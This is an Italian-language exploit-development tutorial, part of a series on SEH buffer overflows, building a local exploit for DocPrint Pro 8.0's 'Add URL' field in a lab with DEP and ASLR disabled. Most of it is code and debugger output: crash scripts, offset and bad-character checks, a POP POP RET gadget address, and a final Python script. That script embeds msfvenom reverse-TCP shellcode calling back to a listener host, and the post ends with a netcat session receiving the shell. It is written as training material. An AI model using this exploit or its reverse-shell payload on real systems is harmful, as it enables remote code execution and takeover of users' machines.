Quarto articolo della serie SEH Buffer Overflow, target: DocPrint Pro 8.0, exploit.
Altri post in questa serie: 5. SEH Overflow I - Vulnserver GMON 5. SEH Overflow II - EFS Easy Chat Server 3.1 5. SEH Overflow III - Easy File Sharing Web Server 7.2 5. SEH Overflow IV - DocPrint Pro 8.0
L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.
Per avere un ambiente ad hoc serve:
Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:
!py mona config -set workingfolder c:\monalogs\%p_%i
In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.
NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.
NB2: Poichè il bypass di DEP non è oggetto di questo articolo, ho disabilitato le protezioni di Windows (Windows Security -> App & Browser Control -> Exploit Protection Settings -> Program Settings -> Add program to customize -> filename.exe -> DEP, ASLR, CFG, etc disabilitati).
DocPrint Pro 8.0 è un programma utilizzato per convertire file in altri formati. La funzione vulnerabile è File –> Add URL ed è solo locale.
Sapendo che il server è vulnerabile a Buffer Overflow, andiamo a creare un primo script che lo manderà in crash.
#!/usr/bin/python
file = "file.txt"
f = open(file , "w")
CRASH_LEN = 10000 # change me
junk = "A" * CRASH_LEN
f.write(junk)
f.close()
Controllo l’exchain e vedo che è stata sovrascritta con il mio buffer.
Divido in due il payload per capire dove sono più vicino cosi che possa generare un pattern non troppo grande (Visto che ogni volta devo aprire il file, uso una libreria per copiare direttamente sulla clipboard)
#!/usr/bin/python
import pyperclip
#file = "file.txt"
#f = open(file , "w")
CRASH_LEN = 10000 # change me
payload = "A" * 5000
payload += "B" * 5000
pyperclip.copy(payload)
#f.write(payload)
#f.close()
Ora sappiamo che si trova nella prima metà.
Per poter redirezionare il flusso di memoria verso un indirizzo di memoria che controlliamo dobbiamo identificare l’offset preciso. Per farlo utilizzeremo pattern_create di mona
!py mona pc 5000
Riavvio DocPrint e aggiorno lo script inserendo il pattern
#!/usr/bin/python
import pyperclip
#file = "file.txt"
#f = open(file , "w")
CRASH_LEN = 10000 # change me
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8…"
payload += "B" * 5000
pyperclip.copy(payload)
#f.write(payload)
#f.close()
Cerco i pattern ciclici
0:000> !exchain
0014ef70: 7a45337a
Invalid exception stack at 45327a45
0:000> !py mona po 45327a45
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 45327a45
Looking for Ez2E in pattern of 500000 bytes
- Pattern Ez2E (0x45327a45) found in cyclic pattern at position 3876
Looking for Ez2E in pattern of 500000 bytes
…
[+] This mona.py action took 0:00:00.219000
0:000> !py mona po 7a45337a
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 7a45337a
Looking for z3Ez in pattern of 500000 bytes
- Pattern z3Ez (0x7a45337a) found in cyclic pattern at position 3880
Looking for z3Ez in pattern of 500000 bytes
…
Quindi l’offset è 3876. Per fare una verifica puntuale modifichiamo lo script in modo da sovrascrivere SEH con 4 C e NSEH con 4 B.
#!/usr/bin/python
import pyperclip
CRASH_LEN = 10000 # change me
OFFSET = 3876
payload = "A" * OFFSET
payload += "B" * 4 # NSEH
payload += "C" * 4 # SEH
payload += "D" * (CRASH_LEN - len(payload))
pyperclip.copy(payload)
Ed ecco che l’exchain è sovrascritta con i nostri caratteri.
Certi eseguibili eliminano o modificano determinati caratteri, per cui è necessario capire se ci sono caratteri che “rompono” o modificano il nostro shellcode. Per capire quali sono è sufficente inviare tutto il range di caratteri (da \x00 a \xff) e vedere se in qualche modo sono stati eliminati o modificati. Creo quindi su mona i byte che ci servono
!py mona ba -cpb '\x00'
NB: Se non ci fosse spazio per tutti i byte, avremmo potuto crearli utilizzando un range, per esempio:
!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff
Poiché devo avere caratteri “stampabili” tutti quelli da \x00 a \x10 sono da eliminare.
Aggiorniamo lo script di conseguenza (ho eliminato subito \x00 a \x10 poiché non potevo copiarli sulla clipboard)
#!/usr/bin/python
file = "file.txt"
f = open(file , "wb")
CRASH_LEN = 10000 # change me
OFFSET = 3876
#bad_chars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars = b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
payload = b"A" * OFFSET
payload += b"B" * 4 # NSEH
payload += b"C" * 4 # SEH
payload += bad_chars
payload += b"D" * (CRASH_LEN - len(payload))
f.write(payload)
f.close()
Ottimo, nessun altro carattere sembra essere un bad char (mi sono accorto poi che ho eliminato fino a \x20, ma dovrebbe essere fino a \x09)
0:000> !exchain
0014ef70: 43434343
Invalid exception stack at 42424242
0:000> !teb
TEB at 0037f000
ExceptionList: 0014ef70
StackBase: 00150000
StackLimit: 00149000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 0037f000
EnvironmentPointer: 00000000
ClientId: 00001590 . 0000105c
RpcHandle: 00000000
Tls Storage: 004885c8
PEB Address: 0037e000
LastErrorValue: 3
LastStatusValue: c0000034
Count Owned Locks: 0
HardErrorMode: 0
0:000> db 0014ef70 L100
0014ef70 42 42 42 42 43 43 43 43-21 22 23 24 25 26 27 28 BBBBCCCC!"#$%&'(
0014ef80 29 2a 2b 2c 2d 2e 2f 30-31 32 33 34 35 36 37 38 )*+,-./012345678
0014ef90 39 3a 3b 3c 3d 3e 3f 40-41 42 43 44 45 46 47 48 9:;<=>?@ABCDEFGH
0014efa0 49 4a 4b 4c 4d 4e 4f 50-51 52 53 54 55 56 57 58 IJKLMNOPQRSTUVWX
0014efb0 59 5a 5b 5c 5d 5e 5f 60-61 62 63 64 65 66 67 68 YZ[\]^_`abcdefgh
0014efc0 69 6a 6b 6c 6d 6e 6f 70-71 72 73 74 75 76 77 78 ijklmnopqrstuvwx
0014efd0 79 7a 7b 7c 7d 7e 7f 80-81 82 83 84 85 86 87 88 yz{|}~..........
0014efe0 89 8a 8b 8c 8d 8e 8f 90-91 92 93 94 95 96 97 98 ................
0014eff0 99 9a 9b 9c 9d 9e 9f a0-a1 a2 a3 a4 a5 a6 a7 a8 ................
0014f000 a9 aa ab ac ad ae af b0-b1 b2 b3 b4 b5 b6 b7 b8 ................
0014f010 b9 ba bb bc bd be bf c0-c1 c2 c3 c4 c5 c6 c7 c8 ................
0014f020 c9 ca cb cc cd ce cf d0-d1 d2 d3 d4 d5 d6 d7 d8 ................
0014f030 d9 da db dc dd de df e0-e1 e2 e3 e4 e5 e6 e7 e8 ................
0014f040 e9 ea eb ec ed ee ef f0-f1 f2 f3 f4 f5 f6 f7 f8 ................
0014f050 f9 fa fb fc fd fe ff 44-44 44 44 44 44 44 44 44 .......DDDDDDDDD
0014f060 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
L’obiettivo ora è di trovare un POP POP RET in modo tale da far puntare EIP al nostro Next SEH e redirezionare il flusso. Cerco quindi con mona nei moduli dell’eseguibile
0:000> !py mona seh -cpb '\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f'
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py seh -cpb '\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f'
---------- Mona command started on 2022-09-16 20:16:21 (v2.0, rev 616) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Bad char filter will be applied to pointers : '\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f'
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Querying 2 modules
- Querying module doc2pdf_win.exe
- Querying module reg.dll
[+] Setting pointer access level criteria to 'R', to increase search results
New pointer access level : R
[+] Preparing output file 'seh.txt'
- Creating working folder c:\monalogs\doc2pdf_win_8116
- Folder created
- (Re)setting logfile c:\monalogs\doc2pdf_win_8116\seh.txt
Found a total of 0 pointers
Non ne trova nessuno. Faccio qualche prova e scopro che \x01 in realtà è un ascii printable, quindi lo elimino dai bad char
0:000> !py mona seh -cpb '\x00\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f'
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py seh -cpb '\x00\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f'
---------- Mona command started on 2022-09-16 20:16:33 (v2.0, rev 616) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Bad char filter will be applied to pointers : '\x00\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f'
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Querying 2 modules
- Querying module doc2pdf_win.exe
- Querying module reg.dll
[+] Setting pointer access level criteria to 'R', to increase search results
New pointer access level : R
[+] Preparing output file 'seh.txt'
- (Re)setting logfile c:\monalogs\doc2pdf_win_8116\seh.txt
[+] Writing results to c:\monalogs\doc2pdf_win_8116\seh.txt
- Number of pointers of type 'pop ebp # pop ebx # ret ' : 1
- Number of pointers of type 'pop esi # pop ebx # ret ' : 2
- Number of pointers of type 'pop esi # pop ebx # ret 0x04' : 1
[+] Results :
0x10011874 | 0x10011874 : pop ebp # pop ebx # ret | ascii {PAGE_EXECUTE_READ} [reg.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.0.1 (C:\Program Files\docPrint Pro v8.0\reg.dll)
0x10011049 | 0x10011049 : pop esi # pop ebx # ret | ascii {PAGE_EXECUTE_READ} [reg.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.0.1 (C:\Program Files\docPrint Pro v8.0\reg.dll)
0x10011564 | 0x10011564 : pop esi # pop ebx # ret | ascii {PAGE_EXECUTE_READ} [reg.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.0.1 (C:\Program Files\docPrint Pro v8.0\reg.dll)
0x100110b7 | 0x100110b7 : pop esi # pop ebx # ret 0x04 | {PAGE_EXECUTE_READ} [reg.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.0.1 (C:\Program Files\docPrint Pro v8.0\reg.dll)
Found a total of 4 pointers
Nessuno ha protezioni, quindi scelgo 0x10011564 , lo inserisco insieme al jump back di 8 ed eseguo mettendo un brealpoint sul PPR.
#!/usr/bin/python
import struct
file = "file.txt"
f = open(file , "wb")
CRASH_LEN = 10000 # change me
OFFSET = 3876
#\x00\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0"
payload = b"A" * OFFSET
payload += struct.pack("<I",0x06eb9090) # short jump 8
payload += struct.pack("<I",0x10011564 ) # PPR
payload += b"D" * (CRASH_LEN - len(payload))
f.write(payload)
f.close()
Proseguo passo passo per vedere se c’è lo spazio per lo shellcode.
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=10011564 edx=77115b10 esi=00000000 edi=00000000
eip=10011564 esp=0014d9c0 ebp=0014d9e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
reg!Ordinal3+0xef94:
10011564 5e pop esi
0:000> p
eax=00000000 ebx=00000000 ecx=10011564 edx=77115b10 esi=77115af2 edi=00000000
eip=10011565 esp=0014d9c4 ebp=0014d9e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
reg!Ordinal3+0xef95:
10011565 5b pop ebx
0:000> p
eax=00000000 ebx=0014dac0 ecx=10011564 edx=77115b10 esi=77115af2 edi=00000000
eip=10011566 esp=0014d9c8 ebp=0014d9e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
reg!Ordinal3+0xef96:
10011566 c3 ret
0:000> p
eax=00000000 ebx=0014dac0 ecx=10011564 edx=77115b10 esi=77115af2 edi=00000000
eip=0014ef70 esp=0014d9cc ebp=0014d9e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
0014ef70 90 nop
0:000> p
eax=00000000 ebx=0014dac0 ecx=10011564 edx=77115b10 esi=77115af2 edi=00000000
eip=0014ef71 esp=0014d9cc ebp=0014d9e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
0014ef71 90 nop
0:000> p
eax=00000000 ebx=0014dac0 ecx=10011564 edx=77115b10 esi=77115af2 edi=00000000
eip=0014ef72 esp=0014d9cc ebp=0014d9e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
0014ef72 eb06 jmp 0014ef7a
0:000> db 0014ef7a
0014ef7a 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0014ef8a 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0014ef9a 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0014efaa 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0014efba 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0014efca 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0014efda 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0014efea 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
Sembra ci sia tutto lo spazio che ci serve, proviamo ad inserire lo shellcode.
Ora non ci rimane che creare lo shellcode con msfvenom (o manualmente) ed inserirlo al posto delle C.
Il codice finale sarà
#!/usr/bin/python
import struct
file = "file.txt"
f = open(file , "wb")
CRASH_LEN = 10000 # change me
OFFSET = 3876
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789 -f python -v shellcode -b '\x00\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f' EXITFUNC=thread
shellcode = b""
shellcode += b"\x6a\x51\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81"
shellcode += b"\x73\x13\xbc\x93\x25\x97\x83\xeb\xfc\xe2\xf4"
shellcode += b"\x40\x7b\xa7\x97\xbc\x93\x45\x1e\x59\xa2\xe5"
shellcode += b"\xf3\x37\xc3\x15\x1c\xee\x9f\xae\xc5\xa8\x18"
shellcode += b"\x57\xbf\xb3\x24\x6f\xb1\x8d\x6c\x89\xab\xdd"
shellcode += b"\xef\x27\xbb\x9c\x52\xea\x9a\xbd\x54\xc7\x65"
shellcode += b"\xee\xc4\xae\xc5\xac\x18\x6f\xab\x37\xdf\x34"
shellcode += b"\xef\x5f\xdb\x24\x46\xed\x18\x7c\xb7\xbd\x40"
shellcode += b"\xae\xde\xa4\x70\x1f\xde\x37\xa7\xae\x96\x6a"
shellcode += b"\xa2\xda\x3b\x7d\x5c\x28\x96\x7b\xab\xc5\xe2"
shellcode += b"\x4a\x90\x58\x6f\x87\xee\x01\xe2\x58\xcb\xae"
shellcode += b"\xcf\x98\x92\xf6\xf1\x37\x9f\x6e\x1c\xe4\x8f"
shellcode += b"\x24\x44\x37\x97\xae\x96\x6c\x1a\x61\xb3\x98"
shellcode += b"\xc8\x7e\xf6\xe5\xc9\x74\x68\x5c\xcc\x7a\xcd"
shellcode += b"\x37\x81\xce\x1a\xe1\xfb\x16\xa5\xbc\x93\x4d"
shellcode += b"\xe0\xcf\xa1\x7a\xc3\xd4\xdf\x52\xb1\xbb\x6c"
shellcode += b"\xf0\x2f\x2c\x92\x25\x97\x95\x57\x71\xc7\xd4"
shellcode += b"\xba\xa5\xfc\xbc\x6c\xf0\xc7\xec\xc3\x75\xd7"
shellcode += b"\xec\xd3\x75\xff\x56\x9c\xfa\x77\x43\x46\xb2"
shellcode += b"\xfd\xb9\xfb\xe5\x3f\xbd\xaf\x4d\x95\xbc\x89"
shellcode += b"\xa0\x1e\x5a\xf9\x35\xc1\xeb\xfb\xbc\x32\xc8"
shellcode += b"\xf2\xda\x42\x39\x53\x51\x9b\x43\xdd\x2d\xe2"
shellcode += b"\x50\xfb\xd5\x22\x1e\xc5\xda\x42\xd4\xf0\x48"
shellcode += b"\xf3\xbc\x1a\xc6\xc0\xeb\xc4\x14\x61\xd6\x81"
shellcode += b"\x7c\xc1\x5e\x6e\x43\x50\xf8\xb7\x19\x96\xbd"
shellcode += b"\x1e\x61\xb3\xac\x55\x25\xd3\xe8\xc3\x73\xc1"
shellcode += b"\xea\xd5\x73\xd9\xea\xc5\x76\xc1\xd4\xea\xe9"
shellcode += b"\xa8\x3a\x6c\xf0\x1e\x5c\xdd\x73\xd1\x43\xa3"
shellcode += b"\x4d\x9f\x3b\x8e\x45\x68\x69\x28\xc5\x8a\x96"
shellcode += b"\x99\x4d\x31\x29\x2e\xb8\x68\x69\xaf\x23\xeb"
shellcode += b"\xb6\x13\xde\x77\xc9\x96\x9e\xd0\xaf\xe1\x4a"
shellcode += b"\xfd\xbc\xc0\xda\x42"
#\x00\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
payload = b"A" * OFFSET
payload += struct.pack("<I",0x06eb9090) # host jump
payload += struct.pack("<I",0x10011564 ) # PPR
payload += b"\x90" * 10
payload += shellcode
payload += b"D" * (CRASH_LEN - len(payload))
f.write(payload)
f.close()
Ed ecco che sulla kali riceviamo la reverse shell
kali@kali:~$ nc -nlvp 6789
listening on [any] 6789 ...
connect to [192.168.1.60] from (UNKNOWN) [192.168.1.14] 32127
Microsoft Windows [Version 10.0.19044.1706]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
desktop-p7jng2j\user
C:\Windows\system32>
Rispetto al primo articolo sul SEH è stato un esercizio molto più semplice, ma che ci permette di capire bene il funzionamento del SEH. Di seguito alcuni approfondimenti: